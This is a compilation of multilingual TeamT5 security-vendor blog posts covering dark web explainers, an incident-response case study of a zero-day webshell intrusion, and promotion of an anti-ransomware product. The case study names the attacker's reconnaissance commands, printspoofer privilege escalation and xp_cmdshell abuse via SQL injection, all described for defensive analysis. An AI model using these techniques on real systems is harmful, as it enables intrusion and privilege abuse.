> [ダークウェブに光を当てる: データと評判の保護](https://teamt5.org/jp/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)

ダークウェブが企業のサイバーセキュリティに与える影響

## 首先定義暗網是...

暗網是網際網路的一部分，與我們熟知的明網（Surface Web）不同，暗網並不直接通過傳統的搜尋引擎如Google、Bing等進行索引。要訪問暗網，使用者需透過特定的軟體或設定來隱藏其身份和位置，最常用的工具即是洋蔥路由器（Tor，The Onion Router）。Tor瀏覽器允許用戶在保持匿名的狀態下訪問暗網站點。

## 暗網與深網的區別

常與暗網提及的另個概念為「深網（Deep Web）」，此指的是那些未被搜尋引擎索引的網頁，這些內容包括電子郵件、網路銀行、私人資料庫等。

相比之下，暗網則是深網的一個子集，其中特定的網站故意隱藏，並且只能通過特殊的工具或設定訪問。

深網由未編入索引的網站組成，這些網站被用戶名和密碼鎖定，包含法律文件和財務記錄等敏感資料。雖然深網的內容與資料大多是無害的，但它包含了企業需要主動保護的重要資料，更是需要優先防範的環境。 

然而，真正的危險在於暗網。只能透過特別的瀏覽器，如 Tor 等管道，這些瀏覽器提供高度匿名性，使暗網成為犯罪活動的熱點。這種匿名性吸引了網路犯罪分子進行資料外洩、詐騙、洗錢和出售被盜資料等活動。

 
 
> - 了解掌握暗網情資的最佳做法
> TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> 
> [照亮暗網：保護您的資料和聲譽](https://teamt5.org/tw/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> 
> [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)

 
首圖來源: Pexel

暗網和深網的差別?

## First, let’s define the dark web...

The dark web is a part of the Internet. Unlike the Surface Web we are familiar with, the dark web is not indexed directly through traditional search engines such as Google and Bing. To access the dark web, users need to hide their identity and location through specific software or settings. The most commonly used tool is Tor (The Onion Router). Tor Browser allows users to access dark web sites while remaining anonymous.

## The difference between dark web and deep web

Another concept often mentioned with the dark web is the "Deep Web", which refers to web pages that are not indexed by search engines. These contents include emails, online banking, private databases, etc.

In contrast, the dark web is a subset of the deep web in which specific websites are deliberately hidden and can only be accessed through special tools or settings.

The deep web consists of unindexed websites that are locked away with usernames and passwords and contain sensitive material such as legal documents and financial records. Although most of the content and data on the deep web are harmless, it contains important data that companies need to proactively protect, and it is an environment that needs to be prioritized for prevention.

However, the real danger lies on the dark web. Only through special browsers, such as Tor, these browsers provide a high degree of anonymity, making the dark web a hotspot for criminal activity. This anonymity attracts cyber criminals to conduct data exfiltration, fraud, money laundering and selling stolen data.


>**Know more about dark web intelligence **
>- TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
> - [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
> - [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)

 

Image source: Pexel

What is the Difference Between the Dark Web and the Deep Web?

## まず、ダークウェブを定義しましょう...

ダークウェブはインターネットの一部です。私たちがよく知っているサーフェスウェブとは異なり、ダークウェブは Google や Bing などの従来の検索エンジンによって直接インデックス化されません。ダークウェブにアクセスするには、ユーザーは特定のソフトウェアまたは設定を使用して自分の身元と場所を隠す必要があります。最もよく使用されるツールは Tor (The Onion Router) です。Tor ブラウザを使用すると、ユーザーは匿名のままダークウェブのサイトにアクセスできます。

## ダークウェブとディープウェブの違い

ダークウェブでよく言及されるもう 1 つの概念は「ディープウェブ」です。これは、電子メール、オンライン バンキング、プライベート データベースなどのコンテンツを含めた、検索エンジンによってインデックス化されない Web ページを指します。
対照的に、ダークウェブはディープウェブのサブセットとして、特定の Web サイトが意図的に隠されており、特別なツールまたは設定を介してのみアクセスできます。

ディープウェブは、ユーザー名とパスワードでロックされ、法的文書や財務記録などの機密資料を含む、インデックス化されていない Web サイトで構成されています。ディープ ウェブ上のコンテンツとデータのほとんどは無害ですが、企業が積極的に保護する必要がある重要なデータが含まれており、予防のために優先的に対処する必要がある環境です。

ただし、本当の危険はダーク ウェブにあります。Tor などの特別なブラウザーを介してのみ、これらのブラウザーは高度な匿名性を提供し、ダーク ウェブを犯罪活動のホットスポットにしています。この匿名性は、サイバー犯罪者を引きつけ、データの流出、詐欺、マネーロンダリング、盗んだデータの販売を行います。

 
ダークウェブとその危険性について詳しく知る ダークウェブについて詳しく知る 
> [ダークウェブに光を当てる: データと評判の保護](https://teamt5.org/jp/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/)

ダークウェブとディープウェブの違いとは?

資安防護策略持續推陳出新，網路犯罪活動的攻擊手法也不斷在演變。在沒有滴水不漏的企業網路環境中，如何在網路攻擊事件發生時，做出最即時的應對策略，是當今網路攻防上的重要課題。這次要和各位夥伴分享一個實際案例，在面對一個零時差攻擊 (Zero-Day Attack)時，我們該如何應對？

##什麼是零時差攻擊 (Zero-Day Attack)? 
指針對尚未被軟體供應商或公眾所知的漏洞進行的攻擊。這些漏洞在發現之前沒有修補程序，因此在攻擊者利用這些漏洞發動攻擊時，防禦系統往往無法及時應對。

##實務案例
我們會透過2個W和1個H，統整出告警資訊，有效且精準地向客戶說明，並偕同擬定應對策略：
- **WHAT：事件狀況**

告警發生時，檢視程序指令與工具類型判斷此攻擊手法可以達到甚麼目的，以及對場域會造成甚麼影響範圍。

- **WHY：根因分析**

根據事件狀況蒐集相關的應用程式與設備日誌進行關聯分析，嘗試推演與找出關鍵跡證的日誌釐清入侵根因。

- **HOW：短期與中長期的因應策略**

依照事件狀況與根因分析結果，制定應對策略。在有限度的資源條件下，如何將衝擊範圍降至可接受風險值。最後，透過這次的經驗，規劃防禦策略應對未來可能產生的攻擊。


###WHAT：事件狀況
網頁應用程式服務 ```(%System32%\inetsrv\w3wp.exe)```，開啟命令提示字元 ```(%System32%\cmd.exe)``` 透過 ```whoami /priv ```、```ipconfig /all``` 指令蒐集主機資訊。
![how-to-deal-with-zero-day-attacks_1.PNG](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_1.PNG)
 
![how-to-deal-with-zero-day-attacks_2.PNG](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_2.PNG)
 
 

除此之外，也發現嘗試透過 ```(%System32%\net1.exe)``` 蒐集主機上的使用者與群組等資訊。
![how-to-deal-with-zero-day-attacks_3.PNG](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_3.PNG)
 
 

攻擊者在蒐集完主機資訊後，嘗試透過 ```printspoofer.exe``` 將權限成功提升為 ```NT AUTHORITY\SYSTEM``` ，藉此取得更多的資訊做後續的橫向移動。
![how-to-deal-with-zero-day-attacks_4.png](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_4.png)
 
![how-to-deal-with-zero-day-attacks_5.PNG](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_5.PNG)
 
 

上述多個程序行為，判定符合 System Network Configuration Discovery、Command and Scripting Interpreter 與 Exploitation Client Execution 等多個 ATT&CK Tactics。
![how-to-deal-with-zero-day-attacks_6.PNG](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_6.PNG)
 

###WHY：根因分析
檢視原始事件紀錄，亦可發現 MSSQL 應用程式服務執行可疑指令內容。透過時間和程序行為，可以推判主機應用程式服務可被寫入並執行網頁後門程式(Webshell)，以及存在 SQL Injection 漏洞，遭攻擊者啟用 ```xp_cmdshell``` 功能。
![how-to-deal-with-zero-day-attacks_7.PNG](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_7.PNG)
 


SQL Server Log 發現 ```xp_cmdshell``` 有被異動的紀錄。
![how-to-deal-with-zero-day-attacks_8.png](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_8.png)
 

Web Access Log 發現可疑存取紀錄。
![how-to-deal-with-zero-day-attacks_9.png](https://uploads.teamt5.org/upload/original/how-to-deal-with-zero-day-attacks_9.png)
 


綜合上述的日誌紀錄，我們在第2個W，**「WHY：根因分析」**，可以確信該主機的入侵根因是應用程式服務存在漏洞遭利用。接下來我們就可以針對這起事件擬定應對策略。

##HOW：短期與中長期的因應策略
蒐集漏洞資訊並提交概念性驗證(Proof of Concept，POC)給系統開發商進行漏洞修補。但該系統應用程式服務涉及企業運作，在無法將服務中斷與限定存取該主機的來源IP的情況下。我們針對漏洞利用的條件，偕同企業資安人員強化系統的異常監控。在第1個W，**「WHAT：事件狀況」**了解到主機已被攻擊者完全掌握，包括主機上的帳號，這對攻擊者而言，是非常具有利用價值的資訊。

第2個W，**「WHY：根因分析」**了解到應用程式服務存在漏洞，可被攻擊者利用及取得命令提示字元(```cmd.exe```)。短期因應策略是將帳號資訊全面更新，防範外洩密碼遭利用；透過日誌的關鍵跡證，針對應用程式服務中，存在漏洞的功能進行關閉，或對存取權限進行限縮調整。中長期規劃則是針對此次的利用項目進行修正，除了應用程式上的邏輯修正外，主機的權限配置與設定也須一併調整。將縱深防禦策略套用至主機的配置，藉此增加攻擊者往後延伸攻擊向量的難度。

##結語
在這篇部落格中，我們探討了在威脅告警事件中，如何有效且精準地統整告警資訊，並偕同客戶擬定威脅事件當下的應對策略。

首先，我們完整記錄程序行為的過程，透過這個紀錄推演事件經過，配合原始日誌內容，找出關鍵跡證，前後比對確信入侵根因。最後依照客戶環境需求，制定因應策略，將影響範圍降至可控制風險。

當今網路世界，無法避免資安事件的發生，更無法阻擋零時差攻擊，但我們可以配合有效的工具與防禦策略，以及制定事件應變SOP，縮短威脅事件發生時的應變時間，藉此將風險降至可控制範圍。可再配合威脅狩獵提升企業的資安韌性。

更多關於企業使用威脅狩獵的優勢，可以參閱 TeamT5 過去的部落格文章。

 

> 威脅狩獵對企業的好處：強化資安韌性的關鍵：[連結](https://teamt5.org/tw/posts/the-benefits-of-threat-hunting-the-key-to-greater-security-resilience-for-enterprise/?utm_source=blog&utm_medium=website)
>
>企業採納威脅狩獵策略的 5 個好處：[連結](https://teamt5.org/tw/posts/5-benefits-of-threat-hunting-strategies-for-enterprises/?utm_source=blog&utm_medium=website)

 
Image source: Pexel

【實務案例】面對零時差攻擊，該如何應對

# 什麼是暗網？

暗網是隱藏於傳統搜索引擎和瀏覽器之外的網路，非法活動者常於此進行非法交易，例如：惡意軟體交易、出售企業被盜資料。
本文將深入探討什麼是暗網，及其運作原理。

## 暗網的定義
暗網是網際網路的一部分，與我們熟知的明網（Surface Web）不同，暗網並不直接通過傳統的搜尋引擎如 Google、Bing 等進行索引。
要訪問暗網，使用者需透過特定的軟體或設定來隱藏其身份和位置，最常用的工具即是洋蔥路由器（The Onion Router, Tor）── Tor瀏覽器允許用戶在保持匿名的狀態下，訪問暗網站點。

## 暗網的運作原理
暗網運作的核心是匿名性和隱私保護。當用戶使用 Tor 瀏覽器訪問暗網站點時，他們的網路流量會經過多層加密並透過全球多個中繼節點進行轉發，使得追蹤用戶的真實IP地址變得極為困難。這種多層加密和中繼節點的架構猶如洋蔥層層包裹，因此得名「洋蔥路由器」。

## 暗網的用途

暗網的用途廣泛且多樣化，從合法用途到非法活動均有涵蓋。

#### 合法用途

1. **隱私保護與言論自由**：暗網為那些生活在言論受限或監控嚴密國家的人民提供了一個自由發聲的平台。在這裡，記者、異議人士和活動家可以匿名交流和分享資訊，避免受到迫害或監控。

2. **資訊安全研究**：安全研究人員利用暗網進行資訊安全研究，探索網路攻擊、惡意軟體及其他網路威脅，以便及早發現並防範。

#### 非法用途

1. **非法交易**：暗網上的匿名性使其成為非法交易的溫床，包括毒品、武器、假證件和盜版軟體等。

2. **網路犯罪**：駭客在暗網上進行數據洩露、、惡意程式交際、勒索軟體交易及其他網路犯罪活動。

## 暗網的風險

雖然暗網為隱私保護和言論自由提供了新的途徑，但其匿名性也帶來了諸多風險。用戶需警惕可能的詐騙、惡意軟體及其他潛在威脅。此外，訪問暗網可能會引起法律問題，因為部分國家對於暗網的使用和相關活動，有嚴格的法律規範。


## 結語

暗網是一個複雜且多面向的世界，既有其積極用途，也伴隨著重重風險。了解暗網的基本概念和運作方式，有助於我們在數位時代更好地保護自身隱私，並對網路安全保持警惕。

而對於企業，更應掌握自身商業機密、重要資料是否外洩至暗網，以免遭遇資安攻擊的風險。


>**了解掌握暗網情資的最佳做法**
>- TeamT5 的 ThreatVision 深暗網風險監控 產品介紹: [連結](https://teamt5.org/tw/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
>- [照亮暗網：保護您的資料和聲譽](https://teamt5.org/tw/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
>
>- [【研討會影片】帳密悄悄洩，杜浦解危新戰略](https://teamt5.org/tw/posts/webinar-deep-dark-web/?utm_source=blog&utm_medium=website)


 

首圖來源: Pexel

什麼是暗網？

The dark web is a network hidden outside traditional search engines and browsers, where illegal activities often conduct illegal transactions, such as malware trading and selling stolen corporate data.

This article will take an in-depth look at what the dark web is and how it works.

## Definition of Dark Web

The Dark Web is a part of the Internet. Unlike the Surface Web we are familiar with, the Dark Web is not indexed directly through traditional search engines such as Google and Bing.

To access the dark web, users need to use specific software or settings to hide their identity and location. The most commonly used tool is The Onion Router (Tor) - the Tor browser allows users to remain anonymous. Next, visit the dark web site.


## How the dark web works

At the core of how the dark web operates is anonymity and privacy protection. When users use the Tor browser to access dark web sites, their network traffic is encrypted through multiple layers and forwarded through multiple relay nodes around the world, making it extremely difficult to track the user's real IP address. This multi-layer encryption and relay node architecture is like an onion wrapped in layers, hence the name "onion router".

## Purpose of Dark Web

The uses of the dark web are broad and diverse, ranging from legal uses to illegal activities.

#### Legal use

1. **Privacy Protection and Free Speech**: The dark web provides a platform for people who live in countries with restricted speech or strict surveillance to speak freely. Here, journalists, dissidents and activists can communicate and share information anonymously, without being persecuted or monitored.

2. **Cybersecurity Research**: Security researchers use the dark web to conduct cybersecurity research and explore network attacks, malware and other network threats for early detection and prevention.

#### Illegal use

1. **Illegal transactions**: The anonymity of the dark web makes it a hotbed for illegal transactions, including drugs, weapons, fake documents, and pirated software.

2. **Cybercrime**: Hackers conduct data leaks, malicious program communication, ransomware trading and other cybercriminal activities on the dark web.

## Risks of the Dark Web

While the Dark Web offers new avenues for privacy protection and free speech, its anonymity also brings many risks. Users should be alert to possible scams, malware and other potential threats. In addition, accessing the dark web may cause legal issues, as some countries have strict legal regulations regarding the use and related activities of the dark web.

## Conclusion

The dark web is a complex and multi-faceted world that has both positive uses and risks. Understanding the basic concepts and operations of the dark web can help us better protect our privacy in the digital age and remain vigilant about network security.

For enterprises, they should know whether their business secrets and important information are leaked to the dark web to avoid the risk of cybersecurity attacks.


>**Know more about dark web intelligence**
>- TeamT5's Deep and Dark Web Risk Monitoring through ThreatVision:
[Introduction](https://teamt5.org/en/products/deep-dark-web-intelligence/?utm_source=blog&utm_medium=website)
>
>- [Shining a Light on the Dark Web: Protecting Your Data and Reputation](https://teamt5.org/en/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)
>
>- [【Webinar Recording】Unveiling the Dark Web: Protecting Your Business from Hidden Threats](https://teamt5.org/en/posts/webinar-recording-unveiling-the-dark-web-protecting-your-business-from-hidden-threats/?utm_source=blog&utm_medium=website)

 
Image source: Pexel

What is the Dark Web?

ダークウェブは、従来の検索エンジンやブラウザの外側に隠されたネットワークで、マルウェアの取引や盗まれた企業データの販売など、違法な取引が行われることがよくあります。

この記事では、ダークウェブとは何か、どのように機能するかについて詳しく説明します。

## ダークウェブの定義

ダークウェブはインターネットの一部です。私たちがよく知っているサーフェスウェブとは異なり、ダークウェブは Google や Bing などの従来の検索エンジンを通じて直接インデックス化されません。

ダークウェブにアクセスするには、ユーザーは特定のソフトウェアまたは設定を使用して、自分の身元と場所を隠す必要があります。最もよく使用されるツールは The Onion Router (Tor) です。Tor ブラウザを使用すると、ユーザーは匿名のまま、ダークウェブサイトにアクセスできます。

## ダークウェブの仕組み

ダークウェブの仕組みの核となるのは、匿名性とプライバシー保護です。ユーザーが Tor ブラウザを使用してダークウェブサイトにアクセスすると、ネットワークトラフィックは複数のレイヤーで暗号化され、世界中の複数のリレーノードを介して転送されるため、ユーザーの実際の IP アドレスを追跡することが非常に困難になります。この多層暗号化とリレーノードのアーキテクチャは、皮で包まれたタマネギのようなもので、「オニオンルーター」と呼ばれています。

## ダーク ウェブの目的

ダーク ウェブの用途は幅広く多様で、合法的な使用から違法な活動まで多岐にわたります。

### 合法的な使用

1. **プライバシー保護と言論の自由**: ダーク ウェブは、言論が制限されている国や厳しい監視がある国に住む人々が自由に発言できるプラットフォームを提供します。ここでは、ジャーナリスト、反体制派、活動家が、迫害や監視を受けることなく、匿名でコミュニケーションを取り、情報を共有できます。

2. **サイバーセキュリティ研究**: セキュリティ研究者は、ダークウェブを使用してサイバーセキュリティ研究を実施し、ネットワーク攻撃、マルウェア、その他のネットワーク脅威を早期に検出して防止します。

### 違法使用

1. **違法取引**: ダークウェブは匿名性が高いため、薬物、武器、偽造文書、海賊版ソフトウェアなどの違法取引の温床となっています。

2. **サイバー犯罪**: ハッカーはダークウェブ上でデータ漏洩、悪意のあるプログラムの通信、ランサムウェアの取引、その他のサイバー犯罪活動を行っています。

## ダークウェブのリスク

ダークウェブはプライバシー保護と言論の自由のための新たな手段を提供しますが、その匿名性には多くのリスクも伴います。ユーザーは詐欺、マルウェア、その他の潜在的な脅威に注意する必要があります。さらに、ダークウェブへのアクセスは法的な問題を引き起こす可能性があります。一部の国ではダークウェブの使用と関連活動に関して厳しい法的規制を設けています。

## 結論

ダークウェブは複雑で多面的な世界であり、良い用途とリスクの両方があります。ダークウェブの基本的な概念と操作を理解することで、デジタル時代のプライバシーをより適切に保護し、ネットワークセキュリティに常に注意を払うことができます。

企業にとっては、サイバーセキュリティ攻撃のリスクを回避するために、自社の企業秘密や機密情報がダークウェブに漏洩していないかどうかを知る必要があります。

 

ダークウェブインテリジェンスについてさらに詳しく知る 
> [ダークウェブに光を当てる: データと評判の保護](https://teamt5.org/jp/posts/shining-a-light-on-the-dark-web-protecting-your-data-and-reputation/?utm_source=blog&utm_medium=website)

ダークウェブとは?

In the ever-changing cybersecurity environment, proactive defense and deployment of appropriate cybersecurity solutions are crucial. In this trend, TeamT5’s award-winning solution “[ThreatSonar Anti-Ransomware](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)” endpoint detection & response platform helps enterprises to fight against advanced persistent threats (APTs) and ransomware..

“ThreatSonar Anti-Ransomware” has been adopted by many managed security service providers (MSSPs) in Taiwan and other countries in the Asia-Pacific Region. It enables MSSPs to identify and stop the most advanced known and potential threats – including ransomware - at all times and provide high-quality managed detection and response (MDR) service to their customers.
 
This article will introduce the powerful functions and application scenarios of ThreatSonar Anti-Ransomware, and how it can bring new business opportunities to MSSPs. We look forward to vendors contacting us and creating business opportunities together.

##Market Trends

According to [Gartner](https://www.gartner.com/en/newsroom/press-releases/2023-02-14-gartner-security-risk-management-summit-mumbai-day2-highlights), more organizations are adopting MDR services. In 2020, 15% organizations adopt MDR service, and the ratio will be more than 50% in 2025. Based on [Enterprise Strategy Group](https://www.xcitium.com/pdf/ESG-eBook-Xcitium-MDR-Survey-September-2022.pdf)’s report, there are key factors that would motivate organizations to change MDR providers. Top 3 factors are “improved security analyst skills”, “more effective or advanced security tools”, and “better incident detection and resolution rates”.

![pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png](https://uploads.teamt5.org/upload/original/pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png)
Source: [Enterprise Strategy Group](https://www.xcitium.com/pdf/ESG-eBook-Xcitium-MDR-Survey-September-2022.pdf)

 
 

These reports tell us that “successful business” comes from “effective and advanced tools” and “analyst skills” equals . And TeamT5 can do this!


##Why ThreatSonar Anti-Ransomware?
ThreatSonar Anti-Ransomware is an “effective and advanced tool” that helps MSSP to deliver services to end users and bring cybersecurity resilience. In 2024, it is awarded[ the COMPUTEX Best Choice Award - Golden Award](https://teamt5.org/tw/posts/teamt5-s-threatsonar-anti-ransomware-solution-awarded-computex-best-choice-award-golden-award/?utm_source=blog&utm_medium=website) which recognizes ThreatSonar Anti-Ransomware great features.

Unique features of ThreatSonar Anti-Ransomware are:
#### 1.AI-driven threat protection, proactively defending against potential threats
- **Detection**: The AI-driven detection mechanism brings a quick overview of incidents through auto-generated summary and response suggestions to reduce the risk of the threat.
- **Analysis**: The auto-generated incident analysis bundle makes event analysis more efficient.
- **Response**: Scanning and isolation can be performed directly on endpoints to reduce threat exposure.

#### 2.Behavior detection engine monitors around the clock to uncover the latest threats
Industry-leading hacker behavior analysis strengthens the detection of the latest threats. The engine's self-learning mechanism can effectively identify commonly used or new malicious programs and unveil encrypted files.

#### 3.Visualize network attack chains and shorten incident investigation time
The cybersecurity analysts can easily identify attack trajectories to take prompt mitigation actions.

 
 

By using ThreatSonar Anti-Ransomware, MSSP can have the scalability and flexibility to provide managed security services for customers with following features: 
###Cost-effective ways to deliver services to multiple users 
- MSSP-owned platform to generate better margin
- Support both on-premise and cloud deployment to fulfill EDR needs of internal and external network equipment. 
- Multi-tenant management enables growth for MSSPs by extending security services across customers

###Effective and advanced tools for endpoint security
- Defense against the advanced threats with the latest threat intelligence
- Visualize complete endpoint security status
- Remotely take response and mitigation actions


###Security analytics capabilities
- Perform threat hunting and analysis with support from TeamT5’s expert team
- Be an excellent tool for incident response service. 

 

ThreatSonar Anti-Ransomware is backed by TeamT5’s professional team with years of experience by in-depth research on cyber threat analysis and threat hunting. TeamT5’s experts are often invited as speakers at international cybersecurity conferences and have a great influence in the field of incident response. TeamT5 CSIRT is also a member of [FIRST](https://www.first.org/) (Forum of Incident Response and Security Team), the premier incident response organization.


![pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg](https://uploads.teamt5.org/upload/original/pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg)

##Conclusion
ThreatSonar Anti-Ransomware is a crucial tool in an ever-changing cybersecurity environment. That makes it a good choice for MSSPs to adopt and provide great service for end users.

More about ThreatSonar Anti-Ransomware: [link](https://teamt5.org/en/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)


>TeamT5 is an expert in cyber threat hunting. Our team members have more than 20 years of analysis experience in malware and advanced persistent threats (APT). Based on geographical and language advantages, we master hacker attacks in the Asia-Pacific region, and are often invited to participate in world-class cybersecurity conferences and publish research results.
>
>The endpoint protection and response solution we developed, ThreatSonar Anti-Ransomware, has been adopted by many managed security service providers (MSSPs). It’s awarded the COMPUTEX Best Choice Award - Golden Award which recognizes ThreatSonar Anti-Ransomware great features.
>
If you are an MSSP, please [contact us](https://teamt5.org/en/contact-us/?utm_source=blog&utm_medium=website) immediately to discuss how to create business opportunities to strengthen cybersecurity resilience for end clients.

Award-winning Solution “ThreatSonar Anti-Ransomware” Helps MSSP to Win New Customers

在不斷變化的網路安全環境中，主動防禦和部署適當的網路安全解決方案至關重要。在此趨勢下，TeamT5屢獲殊榮的解決方案「[ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)」可協助企業對抗進階持續性威脅（APT）和勒索軟體。

「ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台」已被台灣和亞太地區其他國家的許多託管安全服務提供者（MSSP）採用。它使 MSSP 能夠隨時識別和阻止最先進的已知和潛在威脅（包括勒索軟體），並為其客戶提供高品質的託管偵測和回應（MDR）服務。


本文將介紹 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台 的強大功能和應用場景，以及它如何為MSSP帶來新的商機。我們期待供應商與我們聯繫，共同創造商機。

## 市場走向

據 [Gartner](https://www.gartner.com/en/newsroom/press-releases/2023-02-14-gartner-security-risk-management-summit-mumbai-day2-highlights) 稱，越來越多的組織正在採用 MDR 服務。 2020年，15%的組織採用 MDR 服務，2025年這一比例將超過50%。排名前三的因素是「提高安全分析師技能(improved security analyst skills)」、「更有效或更先進的安全工具(more effective or advanced security tools)」以及「更好的事件偵測和解決率(better incident detection and resolution rates)」。

![pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png](https://uploads.teamt5.org/upload/original/pic1_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.png)
資料來源: [Enterprise Strategy Group](https://www.xcitium.com/pdf/ESG-eBook-Xcitium-MDR-Survey-September-2022.pdf)

此報告顯示，「成功的業務」來自「有效且先進的工具」，與「分析師技能」同等重要。而TeamT5可以做到這一點！


##為什麼選擇 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台？
ThreatSonar 反勒索軟體是一種“有效且先進的工具”，可協助 MSSP 為最終用戶提供服務並帶來網路安全彈性。 2024 年，其榮獲 [COMPUTEX Best Choice Award - 金獎](https://teamt5.org/tw/posts/teamt5-s-threatsonar-anti-ransomware-solution-awarded-computex-best-choice-award-golden-award/?utm_source=blog&utm_medium=website)，以表彰 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的出色功能。

ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的獨特功能包括：
#### 1. AI 威脅防護，主動防禦潛在威脅
- **偵測**：本產品一偵測到威脅事件，AI 威脅防護自動提供事件摘要、處置建議，掌握事件狀況、並做及時處置，減少威脅所帶來的損害風險。
- **分析**：使用者可進一步進行事件分析，可直接在事件頁面上下載報告分析包，讓事件分析更有效率。
- **回應**：可直接執行掃描與隔離勒索軟體、惡意程式，降低威脅侵害。

#### 2.行為偵測引擎全時監控，最新威脅無所遁形
領先業界的駭客行為分析，強化偵測最新威脅，藉由引擎自我學習機制，自動判斷常用程式或新進惡意程式，有效掃描被加密檔案。

#### 3.可視化網路攻擊鏈，識別事件軌跡，縮短事件調查時程
藉由圖像化攻擊發生路徑，查找事件軌跡，並且根據事件資訊標籤，方便資安事件分析人員快速識別，並深入了解攻擊者的行為，加速調查事件軌跡。

 
 

透過使用 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台，MSSP 能具備可擴展性和靈活性，為客戶提供具有以下功能的託管安全服務：

####向多個用戶提供服務的經濟高效的方式
MSSP 擁有的平台可產生更高的利潤
支援本地部署和雲端部署，滿足內部和外部網路設備的端點資安防護需求。
多租戶管理透過跨客戶擴展安全服務來促進 MSSP 的成長


####端點安全的有效且先進的工具
- 利用最新威脅情報防禦高階威脅
- 可視化完整端點安全狀態
- 遠端採取應變和緩解措施

####安全分析能力
在 TeamT5 專家團隊的支援下，進行狩獵威脅和進行資安事件應變服務的優秀工具。

 

ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台由 TeamT5 專業團隊研發，我們在網路威脅分析和威脅狩獵方面擁有多年的深入研究經驗。 

TeamT5 的專家經常受邀在國際資訊安全會議上擔任演講嘉賓。 TeamT5 CSIRT 也是[國際最大資安事件應變組織 FIRST](https://www.first.org/) 的成員。

![pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg](https://uploads.teamt5.org/upload/original/pic2_award-winning-solution-threatsonar-anti-ransomware-helps-mssp-to-win-new-customers.jpg)

 

##結論
ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台是不斷變化的網路安全環境中的重要工具。這使其成為 MSSP 採用並為最終用戶提供優質服務的好選擇。

ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的更多資訊：[連結](https://teamt5.org/tw/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)

 

>TeamT5 杜浦數位安全專精網路威脅研究，協助美日臺大型企業有效保護商業機密文件，營運不受網路攻擊影響。獲國際頂尖顧問公司 Frost & Sullivan 肯定為台灣最佳威脅情資公司（2023 Taiwanese Threat Intelligence Company of the Year Award），自主研發之端點偵測與回應（EDR）解決方案獲國際大展 Computex - Best Choice Award 金獎肯定。 
> 
>團隊具備超過20年的惡意程式與進階持續性攻擊（APT）的經驗，基於地緣和語言優勢，我們有效掌握亞太地區的駭客攻擊，更經常受邀參加世界級資安會議、發表研究成果。
>
>我們開發的端點保護和回應解決方案 ThreatSonar Anti-Ransomware 已被許多託管安全服務提供者 (MSSP) 採用。它榮獲 COMPUTEX Best Choice Award - 金獎，表彰 ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台的出色功能。
>
>如果您是 MSSP，請立即[聯絡我們](https://teamt5.org/tw/contact-us/?utm_source=blog&utm_medium=website)，討論如何創造商機以增強最終客戶的網路安全彈性。

屢獲殊榮的解決方案「ThreatSonar Anti-Ransomware 威脅鑑識分析與回應平台」幫助 MSSP 贏得新客戶

刻々と変化するサイバーセキュリティ環境において、積極的な防御と適切なサイバーセキュリティソリューションの導入がきわめて重要です。このような傾向の中、TeamT5 の受賞歴のあるソリューション「[ThreatSonar Anti-Ransomware](https://teamt5.org/jp/products/threatsonar-anti-ransomware/?utm_source=blog&utm_medium=website)」エンドポイント検出および対応プラットフォームが、企業が高度持続的脅威（APT）やランサムウェアに対抗するサポートをいたします。

